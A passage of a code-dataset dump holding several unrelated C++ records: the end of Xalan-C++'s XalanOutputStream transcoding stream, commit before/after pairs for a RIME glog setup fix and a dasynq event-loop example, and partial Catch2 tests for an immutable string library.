WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\/\/ Class header file...\n#include \"XalanOutputStream.hpp\"\n\n\n\n#include <util\/TransService.hpp>\n#include <util\/XMLException.hpp>\n\n\n\n#include \"XalanTranscodingServices.hpp\"\n\n\n\nXalanOutputStream::XalanOutputStream(\n\t\t\tBufferType::size_type\t\t\ttheBufferSize,\n\t\t\tTranscodeVectorType::size_type\ttheTranscoderBlockSize) :\n\tm_transcoderBlockSize(theTranscoderBlockSize),\n\tm_transcoder(0),\n\tm_bufferSize(theBufferSize),\n\tm_buffer(),\n\tm_encoding(),\n\tm_writeAsUTF16(false),\n\tm_transcodingBuffer()\n{\n\tm_buffer.reserve(theBufferSize + 1);\n}\n\n\n\nXalanOutputStream::~XalanOutputStream()\n{\n\tXalanTranscodingServices::destroyTranscoder(m_transcoder);\n}\n\n\n\nvoid\nXalanOutputStream::flush()\n{\n\tflushBuffer();\n\n\tdoFlush();\n}\n\n\n\nvoid\nXalanOutputStream::write(char\ttheChar)\n{\n\twrite(&theChar, 1);\n}\n\n\n\nvoid\nXalanOutputStream::write(XalanDOMChar\ttheChar)\n{\n\twrite(&theChar, 1);\n}\n\n\n\nvoid\nXalanOutputStream::write(\n\t\t\tconst XalanDOMChar*\t\ttheBuffer,\n\t\t\tunsigned long\t\t\ttheBufferLength)\n{\n\tassert(theBuffer != 0);\n\n\tif (theBufferLength + m_buffer.size() > m_bufferSize)\n\t{\n\t\tflushBuffer();\n\t}\n\n\tif (theBufferLength > m_bufferSize)\n\t{\n\t\tdoWrite(theBuffer, theBufferLength);\n\t}\n\telse\n\t{\n\t\tm_buffer.insert(m_buffer.end(),\n\t\t\t\t\t\ttheBuffer,\n\t\t\t\t\t\ttheBuffer + theBufferLength);\n\t}\n}\n\n\n\nvoid\nXalanOutputStream::write(const XalanDOMChar*\ttheBuffer)\n{\n\tif (theBuffer != 0)\n\t{\n\t\twrite(theBuffer, length(theBuffer));\n\t}\n}\n\n\n\nvoid\nXalanOutputStream::write(const char*\ttheBuffer)\n{\n\tassert(theBuffer != 0);\n\n\tflushBuffer();\n\n\twriteData(theBuffer,\n\t\t      strlen(theBuffer));\n}\n\n\n\nvoid\nXalanOutputStream::write(\n\t\t\tconst char*\t\ttheBuffer,\n\t\t\tunsigned long\ttheBufferLength)\n{\n\tassert(theBuffer != 0);\n\n\tflushBuffer();\n\n\twriteData(theBuffer,\n\t\t\t  theBufferLength);\n}\n\n\n\nvoid\nXalanOutputStream::transcode(\n\t\t\tconst XalanDOMChar*\t\ttheBuffer,\n\t\t\tTranscodeVectorType&\ttheDestination)\n{\n\t\/\/ This is a special version that will short-cut when\n\t\/\/ transocding to the local code page.  On platforms\n\t\/\/ where XalanDOMChar == wchar_t, it saves copying\n\t\/\/ to a temporary buffer for the purposes of null-\n\t\/\/ terminating the string.\n\tif (m_transcoder == 0)\n\t{\n\t\tif (TranscodeToLocalCodePage(\n\t\t\t\ttheBuffer,\n\t\t\t\ttheDestination) == false)\n\t\t{\n\t\t\tthrow TranscodingException();\n\t\t}\n\t}\n\telse\n\t{\n\t\ttranscode(theBuffer, length(theBuffer), theDestination);\n\t}\n}\n\n\n\nvoid\nXalanOutputStream::transcode(\n\t\t\tconst XalanDOMChar*\t\ttheBuffer,\n\t\t\tunsigned long\t\t\ttheBufferLength,\n\t\t\tTranscodeVectorType&\ttheDestination)\n{\n\tif (m_transcoder == 0)\n\t{\n\t\tif (TranscodeToLocalCodePage(\n\t\t\t\ttheBuffer,\n\t\t\t\ttheBufferLength,\n\t\t\t\ttheDestination) == false)\n\t\t{\n\t\t\tthrow TranscodingException();\n\t\t}\n\t}\n\telse\n\t{\n\t\tbool\t\t\t\t\tfDone = false;\n\n\t\t\/\/ Keep track of the total bytes we've added to the\n\t\t\/\/ destination vector, and the total bytes we've\n\t\t\/\/ eaten from theBuffer.\n\t\tunsigned int\t\t\ttheTotalBytesFilled = 0;\n\t\tunsigned int\t\t\ttheTotalBytesEaten = 0;\n\n\t\t\/\/ Keep track of the current position in the input buffer,\n\t\t\/\/ and amount remaining in the buffer, since we may not be\n\t\t\/\/ able to transcode it all at once.\n\t\tconst XalanDOMChar*\t\ttheBufferPosition = theBuffer;\n\t\tunsigned int\t\t\ttheRemainingBufferLength = theBufferLength;\n\n\t\t\/\/ Keep track of the destination size, and the target size, which is\n\t\t\/\/ the size of the destination that has not yet been filled with\n\t\t\/\/ transcoded characters.  Double the buffer size, in case we're\n\t\t\/\/ transcoding to a 16-bit encoding.\n\t\t\/\/ $$$ ToDo: We need to know the size of an encoding, so we can\n\t\t\/\/ do the right thing with the destination size.\n\t\tunsigned int\t\t\ttheDestinationSize = theBufferLength * 2;\n\t\tunsigned int\t\t\ttheTargetSize = theDestinationSize;\n\n\t\tdo\n\t\t{\n\t\t\t\/\/ Resize the buffer...\n\t\t\ttheDestination.resize(theDestinationSize + 1);\n\n\t\t\tunsigned int\t\t\t\t\t\ttheSourceBytesEaten = 0;\n\t\t\tunsigned int\t\t\t\t\t\ttheTargetBytesEaten = 0;\n\n\t\t\tXalanTranscodingServices::eCode\t\ttheResult =\n\t\t\t\tm_transcoder->transcode(\n\t\t\t\t\t\ttheBufferPosition,\n\t\t\t\t\t\ttheRemainingBufferLength,\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t\t\t(XMLByte*)&theDestination[0] + theTotalBytesFilled,\n#else\n\t\t\t\t\t\treinterpret_cast<XMLByte*>(&theDestination[0]) + theTotalBytesFilled,\n#endif\n\t\t\t\t\t\ttheTargetSize,\n\t\t\t\t\t\ttheSourceBytesEaten,\n\t\t\t\t\t\ttheTargetBytesEaten);\n\n\t\t\tif(theResult != XalanTranscodingServices::OK)\n\t\t\t{\n\t\t\t\tthrow TranscodingException();\n\t\t\t}\n\n\t\t\ttheTotalBytesFilled += theTargetBytesEaten;\n\t\t\ttheTotalBytesEaten += theSourceBytesEaten;\n\n\t\t\tif (theTotalBytesEaten == theBufferLength)\n\t\t\t{\n\t\t\t\tfDone = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tassert(theTotalBytesEaten < theBufferLength);\n\n\t\t\t\t\/\/ Update everything...\n\t\t\t\ttheBufferPosition += theSourceBytesEaten;\n\t\t\t\ttheRemainingBufferLength -= theSourceBytesEaten;\n\n\t\t\t\t\/\/ The new target size will always be the\n\t\t\t\t\/\/ current destination size, since we\n\t\t\t\t\/\/ grow by a factor of 2.  This will\n\t\t\t\t\/\/ need to change if the factor is\n\t\t\t\t\/\/ every changed.\n\t\t\t\ttheTargetSize = theDestinationSize;\n\n\t\t\t\t\/\/ Grow the destination by a factor of\n\t\t\t\t\/\/ two 2.  See the previous comment if\n\t\t\t\t\/\/ you want to change this.\n\t\t\t\ttheDestinationSize = theDestinationSize * 2;\n\t\t\t}\n\t\t} while(fDone == false);\n\n\t\t\/\/ Resize things, if there are any extra bytes...\n\t\tif (theDestination.size() != theTotalBytesFilled)\n\t\t{\n\t\t\ttheDestination.resize(theTotalBytesFilled);\n\t\t}\n\t}\n}\n\n\n\nconst XalanDOMString&\nXalanOutputStream::getOutputEncoding() const\n{\n\treturn m_encoding;\n}\n\n\n\nvoid\nXalanOutputStream::setOutputEncoding(const XalanDOMString&\ttheEncoding)\n{\n\t\/\/ Flush, just in case.  This should probably be an error...\n\tflushBuffer();\n\n\tXalanTranscodingServices::destroyTranscoder(m_transcoder);\n\n\tXalanTranscodingServices::eCode\t\ttheCode = XalanTranscodingServices::OK;\n\n\t\/\/ This turns on an optimization that we can only do if\n\t\/\/ XalanDOMChar == sizeof(ushort).  See doWrite().\n#if !defined(XALAN_XALANDOMCHAR_USHORT_MISMATCH)\n\tif (XalanTranscodingServices::encodingIsUTF16(theEncoding) == true)\n\t{\n\t\tm_writeAsUTF16 = true;\n\t}\n\telse\n#endif\n\t{\n\t\tm_transcoder = XalanTranscodingServices::makeNewTranscoder(\n\t\t\t\t\ttheEncoding,\n\t\t\t\t\ttheCode,\n\t\t\t\t\tm_transcoderBlockSize);\n\n\t\tif (theCode == XalanTranscodingServices::UnsupportedEncoding)\n\t\t{\n\t\t\tthrow UnsupportedEncodingException(theEncoding);\n\t\t}\n\t\telse if (theCode != XalanTranscodingServices::OK)\n\t\t{\n\t\t\tthrow TranscoderInternalFailureException(theEncoding);\n\t\t}\n\n\t\tassert(m_transcoder != 0);\n\t}\n\n\tm_encoding = theEncoding;\n\n\ttypedef XalanTranscodingServices::XalanXMLByteVectorType\tXalanXMLByteVectorType;\n\n\tconst XalanXMLByteVectorType&\ttheProlog =\n\t\tXalanTranscodingServices::getStreamProlog(theEncoding);\n\n\tconst XalanXMLByteVectorType::size_type\t\ttheSize = theProlog.size();\n\n\tif (theSize > 0)\n\t{\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\twrite((const char*)&theProlog[0], theProlog.size());\n#else\n\t\twrite(reinterpret_cast<const char*>(&theProlog[0]), theProlog.size());\n#endif\n\t}\n}\n\n\n\nvoid\nXalanOutputStream::flushBuffer()\n{\n\tif (m_buffer.size() > 0)\n\t{\n\t\tm_buffer.push_back(0);\n\n\t\tdoWrite(&*m_buffer.begin());\n\n\t\tm_buffer.clear();\n\t}\n}\n\n\n\nvoid\nXalanOutputStream::doWrite(const XalanDOMChar*\ttheBuffer)\n{\n\tassert(theBuffer != 0);\n\n\ttry\n\t{\n\t\tif (m_writeAsUTF16 == true)\n\t\t{\n\t\t\tassert(sizeof(XalanDOMChar) == sizeof(char) * 2);\n\n\t\t\t\/\/ This is a hack to write UTF-16 through as if it\n\t\t\t\/\/ were just chars.  Saves lots of time \"transcoding.\"\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\twriteData((const char*)theBuffer, length(theBuffer) * 2);\n#else\n\t\t\twriteData(reinterpret_cast<const char*>(theBuffer), length(theBuffer) * 2);\n#endif\n\t\t}\n\t\telse\n\t\t{\n\t\t\ttranscode(theBuffer, m_transcodingBuffer);\n\n\t\t\tassert(&m_transcodingBuffer[0] != 0);\n\n\t\t\twriteData(&m_transcodingBuffer[0],\n\t\t\t\t\t  m_transcodingBuffer.size());\n\t\t}\n\t}\n\tcatch(const XalanOutputStreamException&)\n\t{\n\t\t\/\/ Have to catch this error and flush any output remaining...\n\t\tm_buffer.clear();\n\n\t\tthrow;\n\t}\n}\n\n\n\nvoid\nXalanOutputStream::doWrite(\n\t\t\tconst XalanDOMChar*\t\ttheBuffer,\n\t\t\tunsigned long\t\t\ttheBufferLength)\n{\n\t\/\/ $$$ ToDo: Revisit this!!!\n\tBufferType\ttheLocalBuffer(theBuffer, theBuffer + theBufferLength);\n\n\ttheLocalBuffer.push_back(0);\n\n\tdoWrite(&theLocalBuffer[0]);\n}\n\n\n\nvoid\nXalanOutputStream::setBufferSize(BufferType::size_type\t\ttheBufferSize)\n{\n\tflushBuffer();\n\n\tm_bufferSize = theBufferSize;\n\n\tif (m_buffer.size() < m_bufferSize)\n\t{\n\t\t\/\/ Enlarge the buffer...\n\t\tm_buffer.reserve(theBufferSize + 1);\n\t}\n\telse if (m_buffer.size() > m_bufferSize)\n\t{\n\t\t\/\/ Shrink the buffer.\n\n\t\t\/\/ Create a temp buffer and make it\n\t\t\/\/ the correct size.\n\t\tBufferType\ttemp;\n\t\t\n\t\ttemp.reserve(theBufferSize + 1);\n\t\t\n\t\t\/\/ Swap temp with m_buffer so that\n\t\t\/\/ m_buffer is now the correct size.\n\t\ttemp.swap(m_buffer);\n\t}\n}\n\n\n\nXalanOutputStream::XalanOutputStreamException::XalanOutputStreamException(\n\t\t\tconst XalanDOMString&\ttheMessage,\n\t\t\tconst XalanDOMString&\ttheType) :\n\tXSLException(theMessage, theType)\n{\n}\n\n\n\nXalanOutputStream::XalanOutputStreamException::~XalanOutputStreamException()\n{\n}\n\n\n\nXalanOutputStream::UnknownEncodingException::UnknownEncodingException() :\n\tXalanOutputStreamException(\n\t\t\tTranscodeFromLocalCodePage(\"Unknown error occurred while transcoding!\"),\n\t\t\tTranscodeFromLocalCodePage(\"UnknownEncodingException\"))\n{\n}\n\n\n\nXalanOutputStream::UnknownEncodingException::~UnknownEncodingException()\n{\n}\n\n\n\nXalanOutputStream::UnsupportedEncodingException::UnsupportedEncodingException(const XalanDOMString&\ttheEncoding) :\n\tXalanOutputStreamException(\n\t\t\tTranscodeFromLocalCodePage(\"Unsupported encoding: \") + theEncoding,\n\t\t\tTranscodeFromLocalCodePage(\"UnsupportedEncodingException\")),\n\tm_encoding(theEncoding)\n{\n}\n\n\n\nXalanOutputStream::UnsupportedEncodingException::~UnsupportedEncodingException()\n{\n}\n\n\n\nXalanOutputStream::TranscoderInternalFailureException::TranscoderInternalFailureException(const XalanDOMString&\ttheEncoding) :\n\tXalanOutputStreamException(\n\t\t\tTranscodeFromLocalCodePage(\"Unknown error occurred while transcoding to \") +\n\t\t\t\t\ttheEncoding +\n\t\t\t\t\tTranscodeFromLocalCodePage(\"!\"),\n\t\t\tTranscodeFromLocalCodePage(\"TranscoderInternalFailureException\")),\n\tm_encoding(theEncoding)\n{\n}\n\n\n\nXalanOutputStream::TranscoderInternalFailureException::~TranscoderInternalFailureException()\n{\n}\n\n\n\nXalanOutputStream::TranscodingException::TranscodingException() :\n\tXalanOutputStreamException(\n\t\t\tTranscodeFromLocalCodePage(\"An error occurred while transcoding!\"),\n\t\t\tTranscodeFromLocalCodePage(\"TranscodingException\"))\n{\n}\n\n\n\nXalanOutputStream::TranscodingException::~TranscodingException()\n{\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright RIME Developers\n\/\/ Distributed under the BSD License\n\/\/\n\/\/ 2011-10-02 GONG Chen <chen.sst@gmail.com>\n\/\/\n\n#include <rime\/build_config.h>\n\n#ifdef RIME_ENABLE_LOGGING\n#include <glog\/logging.h>\n#endif  \/\/ RIME_ENABLE_LOGGING\n\n#include <boost\/filesystem.hpp>\n#include <rime_api.h>\n#include <rime\/deployer.h>\n#include <rime\/module.h>\n#include <rime\/service.h>\n#include <rime\/setup.h>\n\nnamespace fs = boost::filesystem;\n\nnamespace rime {\n\n#define Q(x) #x\nRIME_API RIME_MODULE_LIST(kDefaultModules, \"default\" RIME_EXTRA_MODULES);\n#undef Q\nRIME_MODULE_LIST(kDeployerModules, \"deployer\");\nRIME_MODULE_LIST(kLegacyModules, \"legacy\");\n\nRIME_REGISTER_MODULE_GROUP(default, \"core\", \"dict\", \"gears\")\nRIME_REGISTER_MODULE_GROUP(deployer, \"core\", \"dict\", \"levers\")\n\nRIME_API void LoadModules(const char* module_names[]) {\n  ModuleManager& mm(ModuleManager::instance());\n  for (const char** m = module_names; *m; ++m) {\n    if (RimeModule* module = mm.Find(*m)) {\n      mm.LoadModule(module);\n    }\n  }\n}\n\n\/\/ assume member is a non-null pointer in struct *p.\n#define PROVIDED(p, member) ((p) && RIME_STRUCT_HAS_MEMBER(*(p), (p)->member) && (p)->member)\n\nRIME_API void SetupDeployer(RimeTraits *traits) {\n  if (!traits) return;\n  Deployer &deployer(Service::instance().deployer());\n  if (PROVIDED(traits, shared_data_dir))\n    deployer.shared_data_dir = traits->shared_data_dir;\n  if (PROVIDED(traits, user_data_dir))\n    deployer.user_data_dir = traits->user_data_dir;\n  if (PROVIDED(traits, distribution_name))\n    deployer.distribution_name = traits->distribution_name;\n  if (PROVIDED(traits, distribution_code_name))\n    deployer.distribution_code_name = traits->distribution_code_name;\n  if (PROVIDED(traits, distribution_version))\n    deployer.distribution_version = traits->distribution_version;\n  if (PROVIDED(traits, prebuilt_data_dir))\n    deployer.prebuilt_data_dir = traits->prebuilt_data_dir;\n  else\n    deployer.prebuilt_data_dir = (fs::path(deployer.shared_data_dir) \/ \"build\").string();\n  if (PROVIDED(traits, staging_dir))\n    deployer.staging_dir = traits->staging_dir;\n  else\n    deployer.staging_dir = (fs::path(deployer.user_data_dir) \/ \"build\").string();\n}\n\nRIME_API void SetupLogging(const char* app_name, int min_log_level, const char* log_dir) {\n#ifdef RIME_ENABLE_LOGGING\n  FLAGS_minloglevel = min_log_level;\n  FLAGS_alsologtostderr = true;\n  if (log_dir) {\n    FLAGS_log_dir = log_dir;\n  }\n  \/\/ Do not allow other users to read\/write log files created by current process.\n  FLAGS_logfile_mode = 0600;\n  google::InitGoogleLogging(app_name);\n#endif  \/\/ RIME_ENABLE_LOGGING\n}\n\nRIME_API void SetupLogging(const char* app_name) {\n  SetupLogging(app_name, 0, NULL);\n}\n\n}  \/\/ namespace rime\n<commit_msg>fix(setup): avoid glog log macros conflict with macros of Windows<commit_after>\/\/\n\/\/ Copyright RIME Developers\n\/\/ Distributed under the BSD License\n\/\/\n\/\/ 2011-10-02 GONG Chen <chen.sst@gmail.com>\n\/\/\n\n#include <rime\/build_config.h>\n\n#ifdef RIME_ENABLE_LOGGING\n#ifdef _WIN32\n#define GLOG_NO_ABBREVIATED_SEVERITIES\n#endif \/\/ _WIN32\n#include <glog\/logging.h>\n#endif  \/\/ RIME_ENABLE_LOGGING\n\n#include <boost\/filesystem.hpp>\n#include <rime_api.h>\n#include <rime\/deployer.h>\n#include <rime\/module.h>\n#include <rime\/service.h>\n#include <rime\/setup.h>\n\nnamespace fs = boost::filesystem;\n\nnamespace rime {\n\n#define Q(x) #x\nRIME_API RIME_MODULE_LIST(kDefaultModules, \"default\" RIME_EXTRA_MODULES);\n#undef Q\nRIME_MODULE_LIST(kDeployerModules, \"deployer\");\nRIME_MODULE_LIST(kLegacyModules, \"legacy\");\n\nRIME_REGISTER_MODULE_GROUP(default, \"core\", \"dict\", \"gears\")\nRIME_REGISTER_MODULE_GROUP(deployer, \"core\", \"dict\", \"levers\")\n\nRIME_API void LoadModules(const char* module_names[]) {\n  ModuleManager& mm(ModuleManager::instance());\n  for (const char** m = module_names; *m; ++m) {\n    if (RimeModule* module = mm.Find(*m)) {\n      mm.LoadModule(module);\n    }\n  }\n}\n\n\/\/ assume member is a non-null pointer in struct *p.\n#define PROVIDED(p, member) ((p) && RIME_STRUCT_HAS_MEMBER(*(p), (p)->member) && (p)->member)\n\nRIME_API void SetupDeployer(RimeTraits *traits) {\n  if (!traits) return;\n  Deployer &deployer(Service::instance().deployer());\n  if (PROVIDED(traits, shared_data_dir))\n    deployer.shared_data_dir = traits->shared_data_dir;\n  if (PROVIDED(traits, user_data_dir))\n    deployer.user_data_dir = traits->user_data_dir;\n  if (PROVIDED(traits, distribution_name))\n    deployer.distribution_name = traits->distribution_name;\n  if (PROVIDED(traits, distribution_code_name))\n    deployer.distribution_code_name = traits->distribution_code_name;\n  if (PROVIDED(traits, distribution_version))\n    deployer.distribution_version = traits->distribution_version;\n  if (PROVIDED(traits, prebuilt_data_dir))\n    deployer.prebuilt_data_dir = traits->prebuilt_data_dir;\n  else\n    deployer.prebuilt_data_dir = (fs::path(deployer.shared_data_dir) \/ \"build\").string();\n  if (PROVIDED(traits, staging_dir))\n    deployer.staging_dir = traits->staging_dir;\n  else\n    deployer.staging_dir = (fs::path(deployer.user_data_dir) \/ \"build\").string();\n}\n\nRIME_API void SetupLogging(const char* app_name, int min_log_level, const char* log_dir) {\n#ifdef RIME_ENABLE_LOGGING\n  FLAGS_minloglevel = min_log_level;\n  FLAGS_alsologtostderr = true;\n  if (log_dir) {\n    FLAGS_log_dir = log_dir;\n  }\n  \/\/ Do not allow other users to read\/write log files created by current process.\n  FLAGS_logfile_mode = 0600;\n  google::InitGoogleLogging(app_name);\n#endif  \/\/ RIME_ENABLE_LOGGING\n}\n\nRIME_API void SetupLogging(const char* app_name) {\n  SetupLogging(app_name, 0, NULL);\n}\n\n}  \/\/ namespace rime\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <unistd.h>\n#include <mutex>\n\n#include \"dasynq.h\"\n\nusing namespace dasynq;\n\nusing Loop_t = EventLoop<std::mutex>;\n\nclass MySignalWatcher : public Loop_t::SignalWatcher\n{\n    Rearm received(Loop_t & eloop, int signo, SigInfo_p siginfo) override\n    {\n        using namespace std;\n        cout << \"Got signal: \" << signo << endl;\n        return Rearm::REARM;\n    }\n};\n\nclass MyTimer : public Loop_t::Timer\n{\n    Rearm timerExpiry(Loop_t & eloop, int expiry_count)\n    {\n        using namespace std;\n        cout << \"Got timeout!\" << endl;\n        return Rearm::REMOVE;\n    }\n};\n\nint main(int argc, char **argv)\n{\n    Loop_t eloop;\n\n    \/\/ block USR1 \/ USR2 reception    \n    sigset_t set;\n    sigemptyset(&set);\n    sigaddset(&set, SIGUSR1);\n    sigaddset(&set, SIGUSR2);    \n    sigprocmask(SIG_BLOCK, &set, NULL);\n    \n    MySignalWatcher mse1, mse2;\n    mse1.addWatch(eloop, SIGUSR1);\n    mse2.addWatch(eloop, SIGUSR2);\n    \n    MyTimer mt1;\n    mt1.addTimer(eloop);\n    struct timespec timeout {3, 0};\n    mt1.armTimerRel(eloop, timeout);\n    \n    MyTimer mt2;\n    mt2.addTimer(eloop);\n    timeout = {4, 0};\n    mt2.armTimerRel(eloop, timeout);\n\n    sleep(1);\n    \n    std::cout << \"Running eloop...\" << std::endl;\n    eloop.run();\n    \/\/std::cout << \"Running eloop...\" << std::endl;\n    eloop.run();\n    \/\/std::cout << \"Running eloop...\" << std::endl;\n    eloop.run();\n    \n    return 0;\n}\n<commit_msg>Update example to match recent API changes.<commit_after>#include <iostream>\n#include <unistd.h>\n#include <mutex>\n\n#include \"dasynq.h\"\n\nusing namespace dasynq;\n\nusing Loop_t = event_loop<std::mutex>;\n\nclass MySignalWatcher : public Loop_t::SignalWatcher\n{\n    rearm received(Loop_t & eloop, int signo, SigInfo_p siginfo) override\n    {\n        using namespace std;\n        cout << \"Got signal: \" << signo << endl;\n        return rearm::REARM;\n    }\n};\n\nclass MyTimer : public Loop_t::Timer\n{\n    rearm timerExpiry(Loop_t & eloop, int expiry_count)\n    {\n        using namespace std;\n        cout << \"Got timeout!\" << endl;\n        return rearm::REMOVE;\n    }\n};\n\nint main(int argc, char **argv)\n{\n    Loop_t eloop;\n\n    \/\/ block USR1 \/ USR2 reception    \n    sigset_t set;\n    sigemptyset(&set);\n    sigaddset(&set, SIGUSR1);\n    sigaddset(&set, SIGUSR2);    \n    sigprocmask(SIG_BLOCK, &set, NULL);\n    \n    MySignalWatcher mse1, mse2;\n    mse1.addWatch(eloop, SIGUSR1);\n    mse2.addWatch(eloop, SIGUSR2);\n    \n    MyTimer mt1;\n    mt1.addTimer(eloop);\n    struct timespec timeout {3, 0};\n    mt1.armTimerRel(eloop, timeout);\n    \n    MyTimer mt2;\n    mt2.addTimer(eloop);\n    timeout = {4, 0};\n    mt2.armTimerRel(eloop, timeout);\n\n    sleep(1);\n    \n    std::cout << \"Running eloop...\" << std::endl;\n    eloop.run();\n    \/\/std::cout << \"Running eloop...\" << std::endl;\n    eloop.run();\n    \/\/std::cout << \"Running eloop...\" << std::endl;\n    eloop.run();\n    \n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <im_str\/im_str.hpp>\n#include <iostream>\n#include <string>\n#include <thread>\n\n#include <catch2\/catch.hpp>\n\nusing namespace std::literals;\n\nvoid requireZero( std::string_view view )\n{\n\tREQUIRE( view.data()[view.size()] == '\\0' );\n}\n\ntemplate<class Container>\nconstexpr bool has_standard_container_typedefs()\n{\n\tusing T = Container;\n\t[[maybe_unused]] typename T::traits_type            traits {};\n\t[[maybe_unused]] typename T::value_type             v {};\n\t[[maybe_unused]] typename T::pointer                p {};\n\t[[maybe_unused]] typename T::const_pointer          cp {};\n\t[[maybe_unused]] typename T::reference              r  = v;\n\t[[maybe_unused]] typename T::const_reference        cr = v;\n\t[[maybe_unused]] typename T::const_iterator         cit {};\n\t[[maybe_unused]] typename T::iterator               it {};\n\t[[maybe_unused]] typename T::reverse_iterator       rit {};\n\t[[maybe_unused]] typename T::const_reverse_iterator crit {};\n\t[[maybe_unused]] typename T::size_type              s {};\n\t[[maybe_unused]] typename T::difference_type        d {};\n\treturn true;\n}\n\nvoid static_checks()\n{\n\tstatic_assert( has_standard_container_typedefs<mba::im_str>() );\n\tstatic_assert( has_standard_container_typedefs<mba::im_zstr>() );\n}\n\nTEST_CASE( \"Construction from literal\", \"[im_str]\" )\n{\n\t{\n\t\tmba::im_str str1 = \"Hello World\";\n\t\tREQUIRE( str1 == \"Hello World\" );\n\n\t\tmba::im_str str2 {\"Hello World\"};\n\t\tREQUIRE( str2 == \"Hello World\" );\n\n\t\tmba::im_str str3 = {\"Hello World\"};\n\t\tREQUIRE( str3 == \"Hello World\" );\n\t}\n\n\t{\n\t\tmba::im_zstr zstr1 = \"Hello World\";\n\t\tREQUIRE( zstr1 == \"Hello World\" );\n\n\t\tmba::im_zstr zstr2 {\"Hello World\"};\n\t\tREQUIRE( zstr2 == \"Hello World\" );\n\n\t\tmba::im_zstr zstr3 = {\"Hello World\"};\n\t\tREQUIRE( zstr3 == \"Hello World\" );\n\t}\n}\n\nTEST_CASE( \"Construction empty\", \"[im_str]\" )\n{\n\t{\n\t\tmba::im_str str1 = \"\";\n\t\tmba::im_str str2 {};\n\t\tREQUIRE( str1 == str2 );\n\t}\n\t{\n\t\tmba::im_zstr zstr1 = \"\";\n\t\tmba::im_zstr zstr2 {};\n\t\tREQUIRE( zstr1 == zstr2 );\n\t}\n}\n\nTEST_CASE( \"Construction from std::string\", \"[im_str]\" )\n{\n\t{\n\t\tmba::im_str str1( \"Hello World\" );\n\t\tREQUIRE( str1 == \"Hello World\" );\n\n\t\tmba::im_str str2 {\"Hello World\"s};\n\t\tREQUIRE( str2 == \"Hello World\" );\n\n\t\tauto stdstr = \"Hello World\"s;\n\n\t\tmba::im_str str3 {stdstr};\n\t\tREQUIRE( str3 == \"Hello World\" );\n\t}\n\t{\n\t\tmba::im_zstr zstr1( \"Hello World\" );\n\t\tREQUIRE( zstr1 == \"Hello World\" );\n\n\t\tmba::im_zstr zstr2 {\"Hello World\"s};\n\t\tREQUIRE( zstr2 == \"Hello World\" );\n\n\t\tauto stdstr = \"Hello World\"s;\n\n\t\tmba::im_str zstr3 {stdstr};\n\t\tREQUIRE( zstr3 == \"Hello World\" );\n\t}\n}\n\nTEST_CASE( \"Construction from temporary std::string\", \"[im_str]\" )\n{\n\t{\n\t\tmba::im_str cs = [] {\n\t\t\tauto        stdstr = \"Hello World\"s;\n\t\t\tmba::im_str cs {stdstr};\n\t\t\tstdstr[0] = 'M'; \/\/ modify original string to make sure we really have an independent copy\n\t\t\tREQUIRE( cs != stdstr );\n\t\t\treturn cs;\n\t\t}();\n\t\tREQUIRE( cs == \"Hello World\" );\n\t}\n\t{\n\t\tmba::im_zstr cs = [] {\n\t\t\tauto         stdstr = \"Hello World\"s;\n\t\t\tmba::im_zstr cs {stdstr};\n\t\t\tstdstr[0] = 'M'; \/\/ modify original string to make sure we really have an independent copy\n\t\t\tREQUIRE( cs != stdstr );\n\t\t\treturn cs;\n\t\t}();\n\t\tREQUIRE( cs == \"Hello World\" );\n\t}\n}\n\nTEST_CASE( \"Construction from im_str\", \"[im_zstr]\" )\n{\n\tstd::string cppstring = \"Hello World, how are you?\";\n\t{\n\t\tconst mba::im_str ims_z {cppstring};\n\n\t\tauto imzs1 = ims_z.create_zstr();\n\t\tstatic_assert( std::is_same_v<decltype( imzs1 ), mba::im_zstr> );\n\t\tCHECK( ims_z == imzs1 );\n\n\t\t\/\/ construction from temporary\n\t\tauto imzs2 = mba::im_str( ims_z ).create_zstr();\n\t\tstatic_assert( std::is_same_v<decltype( imzs2 ), mba::im_zstr> );\n\t\tCHECK( ims_z == imzs2 );\n\t}\n\n\t\/\/ construction from an ims_nz that isn't alredy zero terminated\n\t{\n\t\tmba::im_str ims_nz = mba::im_str( cppstring ).substr( 0, 3 );\n\n\t\tauto imzs3 = ims_nz.create_zstr();\n\t\tstatic_assert( std::is_same_v<decltype( imzs3 ), mba::im_zstr> );\n\t\tCHECK( ims_nz == imzs3 );\n\t\tCHECK( mba::im_str( imzs3 ).is_zero_terminated() );\n\n\t\t\/\/ construction from temporary\n\t\tauto imzs4 = mba::im_str( ims_nz ).create_zstr();\n\t\tstatic_assert( std::is_same_v<decltype( imzs4 ), mba::im_zstr> );\n\t\tCHECK( ims_nz == imzs4 );\n\t\tCHECK( mba::im_str( imzs4 ).is_zero_terminated() );\n\t}\n}\n\nTEST_CASE( \"Copy\", \"[im_str]\" )\n{\n\t{\n\t\tmba::im_str str1;\n\t\t{\n\t\t\t\/\/ no heap allocation\n\t\t\tmba::im_str tcs = \"Hello World\";\n\t\t\tstr1            = tcs;\n\t\t}\n\t\tREQUIRE( str1 == \"Hello World\" );\n\n\t\tmba::im_str str2;\n\t\t{\n\t\t\t\/\/ heap allocated\n\t\t\tmba::im_str tcs {\"Hello World\"s};\n\t\t\tstr2 = tcs;\n\t\t}\n\t\tREQUIRE( str2 == \"Hello World\" );\n\t}\n\t{\n\t\tmba::im_zstr str1;\n\t\t{\n\t\t\t\/\/ no heap allocation\n\t\t\tmba::im_zstr tcs = \"Hello World\";\n\t\t\tstr1             = tcs;\n\t\t}\n\t\tREQUIRE( str1 == \"Hello World\" );\n\n\t\tmba::im_zstr str2;\n\t\t{\n\t\t\t\/\/ heap allocated\n\t\t\tmba::im_zstr tcs {\"Hello 